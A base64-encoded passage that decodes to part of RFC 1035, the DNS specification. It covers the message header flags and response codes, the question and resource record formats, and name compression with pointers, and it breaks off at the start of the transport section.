0IHRoZSBjb250ZW50cyBvZiB0aGUgYW5zd2VyIHNlY3Rpb24gbWF5IGhhdmUKICAgICAgICAgICAgICAgIG11bHRpcGxlIG93bmVyIG5hbWVzIGJlY2F1c2Ugb2YgYWxpYXNlcy4gIFRoZSBBQSBiaXQKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMjZdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgICAgICAgICAgIGNvcnJlc3BvbmRzIHRvIHRoZSBuYW1lIHdoaWNoIG1hdGNoZXMgdGhlIHF1ZXJ5IG5hbWUsIG9yCiAgICAgICAgICAgICAgICB0aGUgZmlyc3Qgb3duZXIgbmFtZSBpbiB0aGUgYW5zd2VyIHNlY3Rpb24uCgpUQyAgICAgICAgICAgICAgVHJ1bkNhdGlvbiAtIHNwZWNpZmllcyB0aGF0IHRoaXMgbWVzc2FnZSB3YXMgdHJ1bmNhdGVkCiAgICAgICAgICAgICAgICBkdWUgdG8gbGVuZ3RoIGdyZWF0ZXIgdGhhbiB0aGF0IHBlcm1pdHRlZCBvbiB0aGUKICAgICAgICAgICAgICAgIHRyYW5zbWlzc2lvbiBjaGFubmVsLgoKUkQgICAgICAgICAgICAgIFJlY3Vyc2lvbiBEZXNpcmVkIC0gdGhpcyBiaXQgbWF5IGJlIHNldCBpbiBhIHF1ZXJ5IGFuZAogICAgICAgICAgICAgICAgaXMgY29waWVkIGludG8gdGhlIHJlc3BvbnNlLiAgSWYgUkQgaXMgc2V0LCBpdCBkaXJlY3RzCiAgICAgICAgICAgICAgICB0aGUgbmFtZSBzZXJ2ZXIgdG8gcHVyc3VlIHRoZSBxdWVyeSByZWN1cnNpdmVseS4KICAgICAgICAgICAgICAgIFJlY3Vyc2l2ZSBxdWVyeSBzdXBwb3J0IGlzIG9wdGlvbmFsLgoKUkEgICAgICAgICAgICAgIFJlY3Vyc2lvbiBBdmFpbGFibGUgLSB0aGlzIGJlIGlzIHNldCBvciBjbGVhcmVkIGluIGEKICAgICAgICAgICAgICAgIHJlc3BvbnNlLCBhbmQgZGVub3RlcyB3aGV0aGVyIHJlY3Vyc2l2ZSBxdWVyeSBzdXBwb3J0IGlzCiAgICAgICAgICAgICAgICBhdmFpbGFibGUgaW4gdGhlIG5hbWUgc2VydmVyLgoKWiAgICAgICAgICAgICAgIFJlc2VydmVkIGZvciBmdXR1cmUgdXNlLiAgTXVzdCBiZSB6ZXJvIGluIGFsbCBxdWVyaWVzCiAgICAgICAgICAgICAgICBhbmQgcmVzcG9uc2VzLgoKUkNPREUgICAgICAgICAgIFJlc3BvbnNlIGNvZGUgLSB0aGlzIDQgYml0IGZpZWxkIGlzIHNldCBhcyBwYXJ0IG9mCiAgICAgICAgICAgICAgICByZXNwb25zZXMuICBUaGUgdmFsdWVzIGhhdmUgdGhlIGZvbGxvd2luZwogICAgICAgICAgICAgICAgaW50ZXJwcmV0YXRpb246CgogICAgICAgICAgICAgICAgMCAgICAgICAgICAgICAgIE5vIGVycm9yIGNvbmRpdGlvbgoKICAgICAgICAgICAgICAgIDEgICAgICAgICAgICAgICBGb3JtYXQgZXJyb3IgLSBUaGUgbmFtZSBzZXJ2ZXIgd2FzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5hYmxlIHRvIGludGVycHJldCB0aGUgcXVlcnkuCgogICAgICAgICAgICAgICAgMiAgICAgICAgICAgICAgIFNlcnZlciBmYWlsdXJlIC0gVGhlIG5hbWUgc2VydmVyIHdhcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVuYWJsZSB0byBwcm9jZXNzIHRoaXMgcXVlcnkgZHVlIHRvIGEKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcm9ibGVtIHdpdGggdGhlIG5hbWUgc2VydmVyLgoKICAgICAgICAgICAgICAgIDMgICAgICAgICAgICAgICBOYW1lIEVycm9yIC0gTWVhbmluZ2Z1bCBvbmx5IGZvcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3BvbnNlcyBmcm9tIGFuIGF1dGhvcml0YXRpdmUgbmFtZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlcnZlciwgdGhpcyBjb2RlIHNpZ25pZmllcyB0aGF0IHRoZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvbWFpbiBuYW1lIHJlZmVyZW5jZWQgaW4gdGhlIHF1ZXJ5IGRvZXMKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub3QgZXhpc3QuCgogICAgICAgICAgICAgICAgNCAgICAgICAgICAgICAgIE5vdCBJbXBsZW1lbnRlZCAtIFRoZSBuYW1lIHNlcnZlciBkb2VzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbm90IHN1cHBvcnQgdGhlIHJlcXVlc3RlZCBraW5kIG9mIHF1ZXJ5LgoKICAgICAgICAgICAgICAgIDUgICAgICAgICAgICAgICBSZWZ1c2VkIC0gVGhlIG5hbWUgc2VydmVyIHJlZnVzZXMgdG8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwZXJmb3JtIHRoZSBzcGVjaWZpZWQgb3BlcmF0aW9uIGZvcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvbGljeSByZWFzb25zLiAgRm9yIGV4YW1wbGUsIGEgbmFtZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlcnZlciBtYXkgbm90IHdpc2ggdG8gcHJvdmlkZSB0aGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbmZvcm1hdGlvbiB0byB0aGUgcGFydGljdWxhciByZXF1ZXN0ZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3IgYSBuYW1lIHNlcnZlciBtYXkgbm90IHdpc2ggdG8gcGVyZm9ybQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGEgcGFydGljdWxhciBvcGVyYXRpb24gKGUuZy4sIHpvbmUKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMjddCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cmFuc2ZlcikgZm9yIHBhcnRpY3VsYXIgZGF0YS4KCiAgICAgICAgICAgICAgICA2LTE1ICAgICAgICAgICAgUmVzZXJ2ZWQgZm9yIGZ1dHVyZSB1c2UuCgpRRENPVU5UICAgICAgICAgYW4gdW5zaWduZWQgMTYgYml0IGludGVnZXIgc3BlY2lmeWluZyB0aGUgbnVtYmVyIG9mCiAgICAgICAgICAgICAgICBlbnRyaWVzIGluIHRoZSBxdWVzdGlvbiBzZWN0aW9uLgoKQU5DT1VOVCAgICAgICAgIGFuIHVuc2lnbmVkIDE2IGJpdCBpbnRlZ2VyIHNwZWNpZnlpbmcgdGhlIG51bWJlciBvZgogICAgICAgICAgICAgICAgcmVzb3VyY2UgcmVjb3JkcyBpbiB0aGUgYW5zd2VyIHNlY3Rpb24uCgpOU0NPVU5UICAgICAgICAgYW4gdW5zaWduZWQgMTYgYml0IGludGVnZXIgc3BlY2lmeWluZyB0aGUgbnVtYmVyIG9mIG5hbWUKICAgICAgICAgICAgICAgIHNlcnZlciByZXNvdXJjZSByZWNvcmRzIGluIHRoZSBhdXRob3JpdHkgcmVjb3JkcwogICAgICAgICAgICAgICAgc2VjdGlvbi4KCkFSQ09VTlQgICAgICAgICBhbiB1bnNpZ25lZCAxNiBiaXQgaW50ZWdlciBzcGVjaWZ5aW5nIHRoZSBudW1iZXIgb2YKICAgICAgICAgICAgICAgIHJlc291cmNlIHJlY29yZHMgaW4gdGhlIGFkZGl0aW9uYWwgcmVjb3JkcyBzZWN0aW9uLgoKNC4xLjIuIFF1ZXN0aW9uIHNlY3Rpb24gZm9ybWF0CgpUaGUgcXVlc3Rpb24gc2VjdGlvbiBpcyB1c2VkIHRvIGNhcnJ5IHRoZSAicXVlc3Rpb24iIGluIG1vc3QgcXVlcmllcywKaS5lLiwgdGhlIHBhcmFtZXRlcnMgdGhhdCBkZWZpbmUgd2hhdCBpcyBiZWluZyBhc2tlZC4gIFRoZSBzZWN0aW9uCmNvbnRhaW5zIFFEQ09VTlQgKHVzdWFsbHkgMSkgZW50cmllcywgZWFjaCBvZiB0aGUgZm9sbG93aW5nIGZvcm1hdDoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEgIDEgIDEgIDEgIDEgIDEKICAgICAgMCAgMSAgMiAgMyAgNCAgNSAgNiAgNyAgOCAgOSAgMCAgMSAgMiAgMyAgNCAgNQogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgLyAgICAgICAgICAgICAgICAgICAgIFFOQU1FICAgICAgICAgICAgICAgICAgICAgLwogICAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgIFFUWVBFICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgIFFDTEFTUyAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpRTkFNRSAgICAgICAgICAgYSBkb21haW4gbmFtZSByZXByZXNlbnRlZCBhcyBhIHNlcXVlbmNlIG9mIGxhYmVscywgd2hlcmUKICAgICAgICAgICAgICAgIGVhY2ggbGFiZWwgY29uc2lzdHMgb2YgYSBsZW5ndGggb2N0ZXQgZm9sbG93ZWQgYnkgdGhhdAogICAgICAgICAgICAgICAgbnVtYmVyIG9mIG9jdGV0cy4gIFRoZSBkb21haW4gbmFtZSB0ZXJtaW5hdGVzIHdpdGggdGhlCiAgICAgICAgICAgICAgICB6ZXJvIGxlbmd0aCBvY3RldCBmb3IgdGhlIG51bGwgbGFiZWwgb2YgdGhlIHJvb3QuICBOb3RlCiAgICAgICAgICAgICAgICB0aGF0IHRoaXMgZmllbGQgbWF5IGJlIGFuIG9kZCBudW1iZXIgb2Ygb2N0ZXRzOyBubwogICAgICAgICAgICAgICAgcGFkZGluZyBpcyB1c2VkLgoKUVRZUEUgICAgICAgICAgIGEgdHdvIG9jdGV0IGNvZGUgd2hpY2ggc3BlY2lmaWVzIHRoZSB0eXBlIG9mIHRoZSBxdWVyeS4KICAgICAgICAgICAgICAgIFRoZSB2YWx1ZXMgZm9yIHRoaXMgZmllbGQgaW5jbHVkZSBhbGwgY29kZXMgdmFsaWQgZm9yIGEKICAgICAgICAgICAgICAgIFRZUEUgZmllbGQsIHRvZ2V0aGVyIHdpdGggc29tZSBtb3JlIGdlbmVyYWwgY29kZXMgd2hpY2gKICAgICAgICAgICAgICAgIGNhbiBtYXRjaCBtb3JlIHRoYW4gb25lIHR5cGUgb2YgUlIuCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDI4XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKClFDTEFTUyAgICAgICAgICBhIHR3byBvY3RldCBjb2RlIHRoYXQgc3BlY2lmaWVzIHRoZSBjbGFzcyBvZiB0aGUgcXVlcnkuCiAgICAgICAgICAgICAgICBGb3IgZXhhbXBsZSwgdGhlIFFDTEFTUyBmaWVsZCBpcyBJTiBmb3IgdGhlIEludGVybmV0LgoKNC4xLjMuIFJlc291cmNlIHJlY29yZCBmb3JtYXQKClRoZSBhbnN3ZXIsIGF1dGhvcml0eSwgYW5kIGFkZGl0aW9uYWwgc2VjdGlvbnMgYWxsIHNoYXJlIHRoZSBzYW1lCmZvcm1hdDogYSB2YXJpYWJsZSBudW1iZXIgb2YgcmVzb3VyY2UgcmVjb3Jkcywgd2hlcmUgdGhlIG51bWJlciBvZgpyZWNvcmRzIGlzIHNwZWNpZmllZCBpbiB0aGUgY29ycmVzcG9uZGluZyBjb3VudCBmaWVsZCBpbiB0aGUgaGVhZGVyLgpFYWNoIHJlc291cmNlIHJlY29yZCBoYXMgdGhlIGZvbGxvd2luZyBmb3JtYXQ6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEgIDEgIDEgIDEgIDEgIDEKICAgICAgMCAgMSAgMiAgMyAgNCAgNSAgNiAgNyAgOCAgOSAgMCAgMSAgMiAgMyAgNCAgNQogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLwogICAgLyAgICAgICAgICAgICAgICAgICAgICBOQU1FICAgICAgICAgICAgICAgICAgICAgLwogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgICBUWVBFICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgIENMQVNTICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgICBUVEwgICAgICAgICAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICBSRExFTkdUSCAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tfAogICAgLyAgICAgICAgICAgICAgICAgICAgIFJEQVRBICAgICAgICAgICAgICAgICAgICAgLwogICAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpOQU1FICAgICAgICAgICAgYSBkb21haW4gbmFtZSB0byB3aGljaCB0aGlzIHJlc291cmNlIHJlY29yZCBwZXJ0YWlucy4KClRZUEUgICAgICAgICAgICB0d28gb2N0ZXRzIGNvbnRhaW5pbmcgb25lIG9mIHRoZSBSUiB0eXBlIGNvZGVzLiAgVGhpcwogICAgICAgICAgICAgICAgZmllbGQgc3BlY2lmaWVzIHRoZSBtZWFuaW5nIG9mIHRoZSBkYXRhIGluIHRoZSBSREFUQQogICAgICAgICAgICAgICAgZmllbGQuCgpDTEFTUyAgICAgICAgICAgdHdvIG9jdGV0cyB3aGljaCBzcGVjaWZ5IHRoZSBjbGFzcyBvZiB0aGUgZGF0YSBpbiB0aGUKICAgICAgICAgICAgICAgIFJEQVRBIGZpZWxkLgoKVFRMICAgICAgICAgICAgIGEgMzIgYml0IHVuc2lnbmVkIGludGVnZXIgdGhhdCBzcGVjaWZpZXMgdGhlIHRpbWUKICAgICAgICAgICAgICAgIGludGVydmFsIChpbiBzZWNvbmRzKSB0aGF0IHRoZSByZXNvdXJjZSByZWNvcmQgbWF5IGJlCiAgICAgICAgICAgICAgICBjYWNoZWQgYmVmb3JlIGl0IHNob3VsZCBiZSBkaXNjYXJkZWQuICBaZXJvIHZhbHVlcyBhcmUKICAgICAgICAgICAgICAgIGludGVycHJldGVkIHRvIG1lYW4gdGhhdCB0aGUgUlIgY2FuIG9ubHkgYmUgdXNlZCBmb3IgdGhlCiAgICAgICAgICAgICAgICB0cmFuc2FjdGlvbiBpbiBwcm9ncmVzcywgYW5kIHNob3VsZCBub3QgYmUgY2FjaGVkLgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDI5XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKClJETEVOR1RIICAgICAgICBhbiB1bnNpZ25lZCAxNiBiaXQgaW50ZWdlciB0aGF0IHNwZWNpZmllcyB0aGUgbGVuZ3RoIGluCiAgICAgICAgICAgICAgICBvY3RldHMgb2YgdGhlIFJEQVRBIGZpZWxkLgoKUkRBVEEgICAgICAgICAgIGEgdmFyaWFibGUgbGVuZ3RoIHN0cmluZyBvZiBvY3RldHMgdGhhdCBkZXNjcmliZXMgdGhlCiAgICAgICAgICAgICAgICByZXNvdXJjZS4gIFRoZSBmb3JtYXQgb2YgdGhpcyBpbmZvcm1hdGlvbiB2YXJpZXMKICAgICAgICAgICAgICAgIGFjY29yZGluZyB0byB0aGUgVFlQRSBhbmQgQ0xBU1Mgb2YgdGhlIHJlc291cmNlIHJlY29yZC4KICAgICAgICAgICAgICAgIEZvciBleGFtcGxlLCB0aGUgaWYgdGhlIFRZUEUgaXMgQSBhbmQgdGhlIENMQVNTIGlzIElOLAogICAgICAgICAgICAgICAgdGhlIFJEQVRBIGZpZWxkIGlzIGEgNCBvY3RldCBBUlBBIEludGVybmV0IGFkZHJlc3MuCgo0LjEuNC4gTWVzc2FnZSBjb21wcmVzc2lvbgoKSW4gb3JkZXIgdG8gcmVkdWNlIHRoZSBzaXplIG9mIG1lc3NhZ2VzLCB0aGUgZG9tYWluIHN5c3RlbSB1dGlsaXplcyBhCmNvbXByZXNzaW9uIHNjaGVtZSB3aGljaCBlbGltaW5hdGVzIHRoZSByZXBldGl0aW9uIG9mIGRvbWFpbiBuYW1lcyBpbiBhCm1lc3NhZ2UuICBJbiB0aGlzIHNjaGVtZSwgYW4gZW50aXJlIGRvbWFpbiBuYW1lIG9yIGEgbGlzdCBvZiBsYWJlbHMgYXQKdGhlIGVuZCBvZiBhIGRvbWFpbiBuYW1lIGlzIHJlcGxhY2VkIHdpdGggYSBwb2ludGVyIHRvIGEgcHJpb3Igb2NjdXJhbmNlCm9mIHRoZSBzYW1lIG5hbWUuCgpUaGUgcG9pbnRlciB0YWtlcyB0aGUgZm9ybSBvZiBhIHR3byBvY3RldCBzZXF1ZW5jZToKCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICB8IDEgIDF8ICAgICAgICAgICAgICAgIE9GRlNFVCAgICAgICAgICAgICAgICAgICB8CiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCgpUaGUgZmlyc3QgdHdvIGJpdHMgYXJlIG9uZXMuICBUaGlzIGFsbG93cyBhIHBvaW50ZXIgdG8gYmUgZGlzdGluZ3Vpc2hlZApmcm9tIGEgbGFiZWwsIHNpbmNlIHRoZSBsYWJlbCBtdXN0IGJlZ2luIHdpdGggdHdvIHplcm8gYml0cyBiZWNhdXNlCmxhYmVscyBhcmUgcmVzdHJpY3RlZCB0byA2MyBvY3RldHMgb3IgbGVzcy4gIChUaGUgMTAgYW5kIDAxIGNvbWJpbmF0aW9ucwphcmUgcmVzZXJ2ZWQgZm9yIGZ1dHVyZSB1c2UuKSAgVGhlIE9GRlNFVCBmaWVsZCBzcGVjaWZpZXMgYW4gb2Zmc2V0IGZyb20KdGhlIHN0YXJ0IG9mIHRoZSBtZXNzYWdlIChpLmUuLCB0aGUgZmlyc3Qgb2N0ZXQgb2YgdGhlIElEIGZpZWxkIGluIHRoZQpkb21haW4gaGVhZGVyKS4gIEEgemVybyBvZmZzZXQgc3BlY2lmaWVzIHRoZSBmaXJzdCBieXRlIG9mIHRoZSBJRCBmaWVsZCwKZXRjLgoKVGhlIGNvbXByZXNzaW9uIHNjaGVtZSBhbGxvd3MgYSBkb21haW4gbmFtZSBpbiBhIG1lc3NhZ2UgdG8gYmUKcmVwcmVzZW50ZWQgYXMgZWl0aGVyOgoKICAgLSBhIHNlcXVlbmNlIG9mIGxhYmVscyBlbmRpbmcgaW4gYSB6ZXJvIG9jdGV0CgogICAtIGEgcG9pbnRlcgoKICAgLSBhIHNlcXVlbmNlIG9mIGxhYmVscyBlbmRpbmcgd2l0aCBhIHBvaW50ZXIKClBvaW50ZXJzIGNhbiBvbmx5IGJlIHVzZWQgZm9yIG9jY3VyYW5jZXMgb2YgYSBkb21haW4gbmFtZSB3aGVyZSB0aGUKZm9ybWF0IGlzIG5vdCBjbGFzcyBzcGVjaWZpYy4gIElmIHRoaXMgd2VyZSBub3QgdGhlIGNhc2UsIGEgbmFtZSBzZXJ2ZXIKb3IgcmVzb2x2ZXIgd291bGQgYmUgcmVxdWlyZWQgdG8ga25vdyB0aGUgZm9ybWF0IG9mIGFsbCBSUnMgaXQgaGFuZGxlZC4KQXMgeWV0LCB0aGVyZSBhcmUgbm8gc3VjaCBjYXNlcywgYnV0IHRoZXkgbWF5IG9jY3VyIGluIGZ1dHVyZSBSREFUQQpmb3JtYXRzLgoKSWYgYSBkb21haW4gbmFtZSBpcyBjb250YWluZWQgaW4gYSBwYXJ0IG9mIHRoZSBtZXNzYWdlIHN1YmplY3QgdG8gYQpsZW5ndGggZmllbGQgKHN1Y2ggYXMgdGhlIFJEQVRBIHNlY3Rpb24gb2YgYW4gUlIpLCBhbmQgY29tcHJlc3Npb24gaXMKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzBdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKdXNlZCwgdGhlIGxlbmd0aCBvZiB0aGUgY29tcHJlc3NlZCBuYW1lIGlzIHVzZWQgaW4gdGhlIGxlbmd0aApjYWxjdWxhdGlvbiwgcmF0aGVyIHRoYW4gdGhlIGxlbmd0aCBvZiB0aGUgZXhwYW5kZWQgbmFtZS4KClByb2dyYW1zIGFyZSBmcmVlIHRvIGF2b2lkIHVzaW5nIHBvaW50ZXJzIGluIG1lc3NhZ2VzIHRoZXkgZ2VuZXJhdGUsCmFsdGhvdWdoIHRoaXMgd2lsbCByZWR1Y2UgZGF0YWdyYW0gY2FwYWNpdHksIGFuZCBtYXkgY2F1c2UgdHJ1bmNhdGlvbi4KSG93ZXZlciBhbGwgcHJvZ3JhbXMgYXJlIHJlcXVpcmVkIHRvIHVuZGVyc3RhbmQgYXJyaXZpbmcgbWVzc2FnZXMgdGhhdApjb250YWluIHBvaW50ZXJzLgoKRm9yIGV4YW1wbGUsIGEgZGF0YWdyYW0gbWlnaHQgbmVlZCB0byB1c2UgdGhlIGRvbWFpbiBuYW1lcyBGLklTSS5BUlBBLApGT08uRi5JU0kuQVJQQSwgQVJQQSwgYW5kIHRoZSByb290LiAgSWdub3JpbmcgdGhlIG90aGVyIGZpZWxkcyBvZiB0aGUKbWVzc2FnZSwgdGhlc2UgZG9tYWluIG5hbWVzIG1pZ2h0IGJlIHJlcHJlc2VudGVkIGFzOgoKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIDIwIHwgICAgICAgICAgIDEgICAgICAgICAgIHwgICAgICAgICAgIEYgICAgICAgICAgIHwKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIDIyIHwgICAgICAgICAgIDMgICAgICAgICAgIHwgICAgICAgICAgIEkgICAgICAgICAgIHwKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIDI0IHwgICAgICAgICAgIFMgICAgICAgICAgIHwgICAgICAgICAgIEkgICAgICAgICAgIHwKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIDI2IHwgICAgICAgICAgIDQgICAgICAgICAgIHwgICAgICAgICAgIEEgICAgICAgICAgIHwKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIDI4IHwgICAgICAgICAgIFIgICAgICAgICAgIHwgICAgICAgICAgIFAgICAgICAgICAgIHwKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIDMwIHwgICAgICAgICAgIEEgICAgICAgICAgIHwgICAgICAgICAgIDAgICAgICAgICAgIHwKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKCiAgICAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICA0MCB8ICAgICAgICAgICAzICAgICAgICAgICB8ICAgICAgICAgICBGICAgICAgICAgICB8CiAgICAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICA0MiB8ICAgICAgICAgICBPICAgICAgICAgICB8ICAgICAgICAgICBPICAgICAgICAgICB8CiAgICAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICA0NCB8IDEgIDF8ICAgICAgICAgICAgICAgIDIwICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCgogICAgICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgNjQgfCAxICAxfCAgICAgICAgICAgICAgICAyNiAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIDkyIHwgICAgICAgICAgIDAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKClRoZSBkb21haW4gbmFtZSBmb3IgRi5JU0kuQVJQQSBpcyBzaG93biBhdCBvZmZzZXQgMjAuICBUaGUgZG9tYWluIG5hbWUKRk9PLkYuSVNJLkFSUEEgaXMgc2hvd24gYXQgb2Zmc2V0IDQwOyB0aGlzIGRlZmluaXRpb24gdXNlcyBhIHBvaW50ZXIgdG8KY29uY2F0ZW5hdGUgYSBsYWJlbCBmb3IgRk9PIHRvIHRoZSBwcmV2aW91c2x5IGRlZmluZWQgRi5JU0kuQVJQQS4gIFRoZQpkb21haW4gbmFtZSBBUlBBIGlzIGRlZmluZWQgYXQgb2Zmc2V0IDY0IHVzaW5nIGEgcG9pbnRlciB0byB0aGUgQVJQQQpjb21wb25lbnQgb2YgdGhlIG5hbWUgRi5JU0kuQVJQQSBhdCAyMDsgbm90ZSB0aGF0IHRoaXMgcG9pbnRlciByZWxpZXMgb24KQVJQQSBiZWluZyB0aGUgbGFzdCBsYWJlbCBpbiB0aGUgc3RyaW5nIGF0IDIwLiAgVGhlIHJvb3QgZG9tYWluIG5hbWUgaXMKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzFdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKZGVmaW5lZCBieSBhIHNpbmdsZSBvY3RldCBvZiB6ZXJvcyBhdCA5MjsgdGhlIHJvb3QgZG9tYWluIG5hbWUgaGFzIG5vCmxhYmVscy4KCjQuMi4gVHJhbnNwb3J0CgpUaGUgRE5TIGFzc3VtZXMgdGhhdCBtZXNzYW